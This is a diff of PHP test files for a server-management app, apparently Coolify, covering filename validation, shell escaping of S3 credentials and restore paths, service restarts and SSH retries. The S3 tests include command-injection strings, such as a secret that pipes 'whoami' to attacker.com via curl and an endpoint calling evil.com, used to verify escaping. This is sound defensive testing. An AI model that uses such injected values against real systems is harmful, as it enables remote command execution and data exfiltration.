]);
|
||||
|
||||
test('dynamic proxy components use filename-safe validation', function () {
|
||||
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
|
||||
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
|
||||
|
||||
expect($deleteComponent)
|
||||
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
|
||||
|
||||
expect($createComponent)
|
||||
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -1,8 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
// This is the core security mechanism used by ImportForm.
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
// Simulate the exact scenario from ImportForm.
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
|
||||
it('quotes restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain(escapeshellarg($tmpPath))
|
||||
->not->toContain(" {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
'mongodb' => StandaloneMongodb::class,
|
||||
]);
|
||||
|
||||
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
$component->dumpAll = true;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain("gunzip -cf {$escapedTmpPath}")
|
||||
->toContain("cat {$escapedTmpPath}")
|
||||
->not->toContain("gunzip -cf {$tmpPath}")
|
||||
->not->toContain("cat {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
]);
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Service\RestartService;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Actions\Service\StopService;
|
||||
use App\Models\Service;
|
||||
|
||||
it('does not stop a service before pulling latest images', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
|
||||
});
|
||||
|
||||
it('still stops a service before a regular restart', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
|
||||
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
|
||||
});
|
||||
|
||||
it('routes service restart actions through start service with deferred stop semantics', function () {
|
||||
$service = Mockery::mock(Service::class);
|
||||
|
||||
$stopService = Mockery::mock(StopService::class);
|
||||
$stopService->shouldNotReceive('handle');
|
||||
app()->instance(StopService::class, $stopService);
|
||||
|
||||
$startService = Mockery::mock(StartService::class);
|
||||
$startService->shouldReceive('handle')
|
||||
->once()
|
||||
->with($service, true, true)
|
||||
->andReturn('restart queued');
|
||||
app()->instance(StartService::class, $startService);
|
||||
|
||||
expect(RestartService::run($service, true))->toBe('restart queued');
|
||||
});
|
||||
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
|
||||
{
|
||||
public function test_ssh_retry_handler_exists()
|
||||
{
|
||||
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
|
||||
$this->assertTrue(class_exists(SshRetryHandler::class));
|
||||
}
|
||||
|
||||
public function test_ssh_retryable_trait_exists()
|
||||
{
|
||||
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
|
||||
$this->assertTrue(trait_exists(SshRetryable::class));
|
||||
}
|
||||
|
||||
public function test_retry_on_ssh_connection_errors()
|
||||
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
|
||||
}
|
||||
}
|
||||
|
||||
public function test_generic_ssh_exit_255_error_is_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
{
|
||||
use SshRetryable;
|
||||
|
||||
// Make methods public for testing
|
||||
public function test_is_retryable_ssh_error($error)
|
||||
{
|
||||
return $this->isRetryableSshError($error);
|
||||
}
|
||||
};
|
||||
|
||||
$this->assertTrue(
|
||||
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
|
||||
);
|
||||
}
|
||||
|
||||
public function test_non_ssh_errors_are_not_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
|
||||
$this->assertEquals(3, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
config([
|
||||
'constants.ssh.max_retries' => 3,
|
||||
'constants.ssh.retry_base_delay' => 0,
|
||||
]);
|
||||
|
||||
$result = SshRetryHandler::retry(
|
||||
function () use (&$attemptCount) {
|
||||
$attemptCount++;
|
||||
if ($attemptCount === 1) {
|
||||
throw new \RuntimeException('SSH command failed with exit code: 255');
|
||||
}
|
||||
|
||||
return 'success';
|
||||
},
|
||||
['test' => 'generic_ssh_255_retry_test'],
|
||||
true
|
||||
);
|
||||
|
||||
$this->assertEquals('success', $result);
|
||||
$this->assertEquals(2, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_fails_after_max_attempts()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
Reference in new issue
Block a user